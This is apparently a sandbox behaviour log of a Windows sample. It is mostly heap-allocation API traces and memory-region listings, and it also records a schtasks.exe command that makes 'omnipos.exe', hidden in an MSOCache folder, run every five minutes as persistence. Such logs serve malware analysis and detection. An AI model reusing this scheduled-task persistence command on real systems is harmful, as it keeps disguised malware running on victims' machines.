[0114.286] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb470) returned 1 [0114.286] GetProcessHeap () returned 0x1b748cb0000 [0114.286] GetProcessHeap () returned 0x1b748cb0000 [0114.286] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cba8a0) returned 1 [0114.286] GetProcessHeap () returned 0x1b748cb0000 [0114.286] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cba8a0) returned 0xa [0114.286] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cba8a0) returned 1 [0114.286] GetProcessHeap () returned 0x1b748cb0000 [0114.286] GetProcessHeap () returned 0x1b748cb0000 [0114.286] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb620) returned 1 [0114.286] GetProcessHeap () returned 0x1b748cb0000 [0114.286] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb620) returned 0x20 [0114.286] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb620) returned 1 [0114.286] GetProcessHeap () returned 0x1b748cb0000 [0114.286] GetProcessHeap () returned 0x1b748cb0000 [0114.287] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb4310) returned 1 [0114.287] GetProcessHeap () returned 0x1b748cb0000 [0114.287] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb4310) returned 0x30 [0114.287] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb4310) returned 1 [0114.287] GetProcessHeap () returned 0x1b748cb0000 [0114.287] GetProcessHeap () returned 0x1b748cb0000 [0114.287] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb8c0) returned 1 [0114.287] GetProcessHeap () returned 0x1b748cb0000 [0114.287] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb8c0) returned 0x20 [0114.287] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb8c0) returned 1 [0114.287] GetProcessHeap () returned 0x1b748cb0000 [0114.287] GetProcessHeap () returned 0x1b748cb0000 [0114.287] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb3b30) returned 1 [0114.287] GetProcessHeap () returned 0x1b748cb0000 [0114.287] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb3b30) returned 0x30 [0114.288] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb3b30) returned 1 [0114.288] GetProcessHeap () returned 0x1b748cb0000 [0114.288] GetProcessHeap () returned 0x1b748cb0000 [0114.288] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb2c0) returned 1 [0114.288] GetProcessHeap () returned 0x1b748cb0000 [0114.288] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb2c0) returned 0x20 [0114.288] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb2c0) returned 1 [0114.288] GetProcessHeap () returned 0x1b748cb0000 [0114.288] GetProcessHeap () returned 0x1b748cb0000 [0114.288] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cba980) returned 1 [0114.288] GetProcessHeap () returned 0x1b748cb0000 [0114.288] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cba980) returned 0x10 [0114.288] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cba980) returned 1 [0114.288] GetProcessHeap () returned 0x1b748cb0000 [0114.288] GetProcessHeap () returned 0x1b748cb0000 [0114.288] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb980) returned 1 [0114.288] GetProcessHeap () returned 0x1b748cb0000 [0114.288] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb980) returned 0x20 [0114.289] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb980) returned 1 [0114.289] GetProcessHeap () returned 0x1b748cb0000 [0114.289] GetProcessHeap () returned 0x1b748cb0000 [0114.289] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cba880) returned 1 [0114.289] GetProcessHeap () returned 0x1b748cb0000 [0114.289] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cba880) returned 0x10 [0114.289] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cba880) returned 1 [0114.289] GetProcessHeap () returned 0x1b748cb0000 [0114.289] GetProcessHeap () returned 0x1b748cb0000 [0114.289] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb710) returned 1 [0114.289] GetProcessHeap () returned 0x1b748cb0000 [0114.289] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb710) returned 0x20 [0114.289] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb710) returned 1 [0114.289] GetProcessHeap () returned 0x1b748cb0000 [0114.289] GetProcessHeap () returned 0x1b748cb0000 [0114.289] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cba8e0) returned 1 [0114.289] GetProcessHeap () returned 0x1b748cb0000 [0114.289] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cba8e0) returned 0xe [0114.289] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cba8e0) returned 1 [0114.290] GetProcessHeap () returned 0x1b748cb0000 [0114.290] GetProcessHeap () returned 0x1b748cb0000 [0114.290] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb890) returned 1 [0114.290] GetProcessHeap () returned 0x1b748cb0000 [0114.290] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb890) returned 0x20 [0114.290] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb890) returned 1 [0114.290] GetProcessHeap () returned 0x1b748cb0000 [0114.290] GetProcessHeap () returned 0x1b748cb0000 [0114.290] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cba940) returned 1 [0114.290] GetProcessHeap () returned 0x1b748cb0000 [0114.290] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cba940) returned 0x16 [0114.290] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cba940) returned 1 [0114.290] GetProcessHeap () returned 0x1b748cb0000 [0114.290] GetProcessHeap () returned 0x1b748cb0000 [0114.290] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb920) returned 1 [0114.290] GetProcessHeap () returned 0x1b748cb0000 [0114.290] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb920) returned 0x20 [0114.290] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb920) returned 1 [0114.291] GetProcessHeap () returned 0x1b748cb0000 [0114.291] GetProcessHeap () returned 0x1b748cb0000 [0114.291] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cba900) returned 1 [0114.291] GetProcessHeap () returned 0x1b748cb0000 [0114.291] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cba900) returned 0x16 [0114.291] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cba900) returned 1 [0114.291] GetProcessHeap () returned 0x1b748cb0000 [0114.291] GetProcessHeap () returned 0x1b748cb0000 [0114.291] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb320) returned 1 [0114.291] GetProcessHeap () returned 0x1b748cb0000 [0114.291] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb320) returned 0x20 [0114.291] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb320) returned 1 [0114.291] GetProcessHeap () returned 0x1b748cb0000 [0114.291] GetProcessHeap () returned 0x1b748cb0000 [0114.291] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cc9ce0) returned 1 [0114.291] GetProcessHeap () returned 0x1b748cb0000 [0114.291] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cc9ce0) returned 0x82 [0114.292] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cc9ce0) returned 1 [0114.292] GetProcessHeap () returned 0x1b748cb0000 [0114.292] GetProcessHeap () returned 0x1b748cb0000 [0114.292] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb380) returned 1 [0114.292] GetProcessHeap () returned 0x1b748cb0000 [0114.292] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb380) returned 0x20 [0114.292] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb380) returned 1 [0114.292] GetProcessHeap () returned 0x1b748cb0000 [0114.292] GetProcessHeap () returned 0x1b748cb0000 [0114.292] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbaa60) returned 1 [0114.292] GetProcessHeap () returned 0x1b748cb0000 [0114.292] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbaa60) returned 0xe [0114.292] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbaa60) returned 1 [0114.292] GetProcessHeap () returned 0x1b748cb0000 [0114.292] GetProcessHeap () returned 0x1b748cb0000 [0114.292] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb770) returned 1 [0114.292] GetProcessHeap () returned 0x1b748cb0000 [0114.292] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb770) returned 0x20 [0114.293] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb770) returned 1 [0114.293] GetProcessHeap () returned 0x1b748cb0000 [0114.293] GetProcessHeap () returned 0x1b748cb0000 [0114.293] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb4410) returned 1 [0114.293] GetProcessHeap () returned 0x1b748cb0000 [0114.293] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb4410) returned 0x18 [0114.293] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb4410) returned 1 [0114.293] GetProcessHeap () returned 0x1b748cb0000 [0114.293] GetProcessHeap () returned 0x1b748cb0000 [0114.293] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb4000) returned 1 [0114.293] GetProcessHeap () returned 0x1b748cb0000 [0114.293] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb4000) returned 0x20 [0114.293] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb4000) returned 1 [0114.294] GetProcessHeap () returned 0x1b748cb0000 [0114.294] GetProcessHeap () returned 0x1b748cb0000 [0114.294] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb8a40) returned 1 [0114.294] GetProcessHeap () returned 0x1b748cb0000 [0114.294] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb8a40) returned 0x20 [0114.294] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb8a40) returned 1 [0114.295] GetProcessHeap () returned 0x1b748cb0000 [0114.295] GetProcessHeap () returned 0x1b748cb0000 [0114.295] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb8d40) returned 1 [0114.295] GetProcessHeap () returned 0x1b748cb0000 [0114.295] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb8d40) returned 0x20 [0114.295] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb8d40) returned 1 [0114.295] GetProcessHeap () returned 0x1b748cb0000 [0114.296] GetProcessHeap () returned 0x1b748cb0000 [0114.296] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb8ad0) returned 1 [0114.296] GetProcessHeap () returned 0x1b748cb0000 [0114.296] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb8ad0) returned 0x20 [0114.296] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb8ad0) returned 1 [0114.297] GetProcessHeap () returned 0x1b748cb0000 [0114.297] GetProcessHeap () returned 0x1b748cb0000 [0114.297] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb4030) returned 1 [0114.297] GetProcessHeap () returned 0x1b748cb0000 [0114.297] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb4030) returned 0x18 [0114.297] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb4030) returned 1 [0114.297] GetProcessHeap () returned 0x1b748cb0000 [0114.297] GetProcessHeap () returned 0x1b748cb0000 [0114.297] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb8a70) returned 1 [0114.297] GetProcessHeap () returned 0x1b748cb0000 [0114.297] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb8a70) returned 0x20 [0114.298] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb8a70) returned 1 [0114.298] GetProcessHeap () returned 0x1b748cb0000 [0114.298] GetProcessHeap () returned 0x1b748cb0000 [0114.298] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb8ce0) returned 1 [0114.298] GetProcessHeap () returned 0x1b748cb0000 [0114.298] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb8ce0) returned 0x20 [0114.299] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb8ce0) returned 1 [0114.299] GetProcessHeap () returned 0x1b748cb0000 [0114.299] GetProcessHeap () returned 0x1b748cb0000 [0114.299] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb8d10) returned 1 [0114.299] GetProcessHeap () returned 0x1b748cb0000 [0114.299] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb8d10) returned 0x20 [0114.300] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb8d10) returned 1 [0114.300] GetProcessHeap () returned 0x1b748cb0000 [0114.300] GetProcessHeap () returned 0x1b748cb0000 [0114.300] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb8b60) returned 1 [0114.300] GetProcessHeap () returned 0x1b748cb0000 [0114.300] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb8b60) returned 0x20 [0114.300] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb8b60) returned 1 [0114.300] GetProcessHeap () returned 0x1b748cb0000 [0114.301] GetProcessHeap () returned 0x1b748cb0000 [0114.301] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb8aa0) returned 1 [0114.301] GetProcessHeap () returned 0x1b748cb0000 [0114.301] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb8aa0) returned 0x20 [0114.301] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb8aa0) returned 1 [0114.301] GetProcessHeap () returned 0x1b748cb0000 [0114.301] GetProcessHeap () returned 0x1b748cb0000 [0114.301] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb4050) returned 1 [0114.301] GetProcessHeap () returned 0x1b748cb0000 [0114.301] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb4050) returned 0x18 [0114.301] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb4050) returned 1 [0114.301] GetProcessHeap () returned 0x1b748cb0000 [0114.302] GetProcessHeap () returned 0x1b748cb0000 [0114.302] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb8b00) returned 1 [0114.302] GetProcessHeap () returned 0x1b748cb0000 [0114.302] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb8b00) returned 0x20 [0114.302] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb8b00) returned 1 [0114.302] GetProcessHeap () returned 0x1b748cb0000 [0114.302] GetProcessHeap () returned 0x1b748cb0000 [0114.302] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb4a50) returned 1 [0114.302] GetProcessHeap () returned 0x1b748cb0000 [0114.302] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb4a50) returned 0x18 [0114.302] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb4a50) returned 1 [0114.302] exit (_Code=0) Thread: id = 149 os_tid = 0x298 Process: id = "14" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x58703000" os_pid = "0x5f4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 5 /tr \"'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2753 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2754 start_va = 0xe718e30000 end_va = 0xe718eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e718e30000" filename = "" Region: id = 2755 start_va = 0xe719000000 end_va = 0xe7191fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e719000000" filename = "" Region: id = 2756 start_va = 0x1f114460000 end_va = 0x1f11447ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001f114460000" filename = "" Region: id = 2757 start_va = 0x1f114480000 end_va = 0x1f114494fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001f114480000" filename = "" Region: id = 2758 start_va = 0x1f1144a0000 end_va = 0x1f1144a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001f1144a0000" filename = "" Region: id = 2759 start_va = 0x1f1144b0000 end_va = 0x1f1144b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001f1144b0000" filename = "" Region: id = 2760 start_va = 0x1f1144c0000 end_va = 0x1f1144c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001f1144c0000" filename = "" Region: id = 2761 start_va = 0x7df5ffe10000 end_va = 0x7ff5ffe0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffe10000" filename = "" Region: id = 2762 start_va = 0x7ff684ac0000 end_va = 0x7ff684ae2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684ac0000" filename = "" Region: id = 2763 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2764 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2765 start_va = 0x1f1144d0000 end_va = 0x1f1147bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001f1144d0000" filename = "" Region: id = 2766 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2767 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2768 start_va = 0x1f114460000 end_va = 0x1f11446ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001f114460000" filename = "" Region: id = 2769 start_va = 0x7ff6849c0000 end_va = 0x7ff684abffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6849c0000" filename = "" Region: id = 2770 start_va = 0x1f1144d0000 end_va = 0x1f11458dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2771 start_va = 0x1f1146c0000 end_va = 0x1f1147bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001f1146c0000" filename = "" Region: id = 2772 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2773 start_va = 0xe718eb0000 end_va = 0xe718f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e718eb0000" filename = "" Region: id = 2774 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2775 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2776 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2777 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2778 start_va = 0x1f1147c0000 end_va = 0x1f11494ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001f1147c0000" filename = "" Region: id = 2779 start_va = 0x1f114470000 end_va = 0x1f114476fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001f114470000" filename = "" Region: id = 2780 start_va = 0x1f1147c0000 end_va = 0x1f114902fff monitored = 0 entry_point = 0x1f1147e8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2781 start_va = 0x1f114940000 end_va = 0x1f11494ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001f114940000" filename = "" Region: id = 2782 start_va = 0x1f114590000 end_va = 0x1f114596fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001f114590000" filename = "" Region: id = 2783 start_va = 0x1f1145a0000 end_va = 0x1f1145b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2784 start_va = 0x1f114950000 end_va = 0x1f114c86fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2785 start_va = 0x1f1145c0000 end_va = 0x1f11469cfff monitored = 0 entry_point = 0x1f11461e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2786 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2787 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2788 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2789 start_va = 0x1f1145c0000 end_va = 0x1f1145f8fff monitored = 0 entry_point = 0x1f1145c12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2790 start_va = 0x1f114c90000 end_va = 0x1f114e17fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001f114c90000" filename = "" Region: id = 2791 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2792 start_va = 0x1f1145c0000 end_va = 0x1f1145c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001f1145c0000" filename = "" Region: id = 2793 start_va = 0x1f1145d0000 end_va = 0x1f1145d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001f1145d0000" filename = "" Region: id = 2794 start_va = 0x1f114e20000 end_va = 0x1f114fa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001f114e20000" filename = "" Region: id = 2795 start_va = 0x1f114fb0000 end_va = 0x1f1163affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001f114fb0000" filename = "" Region: id = 2796 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2797 start_va = 0x1f1145e0000 end_va = 0x1f1145e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001f1145e0000" filename = "" Region: id = 2798 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2799 start_va = 0x1f1145f0000 end_va = 0x1f1145f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001f1145f0000" filename = "" Region: id = 2800 start_va = 0x7ffa754c0000 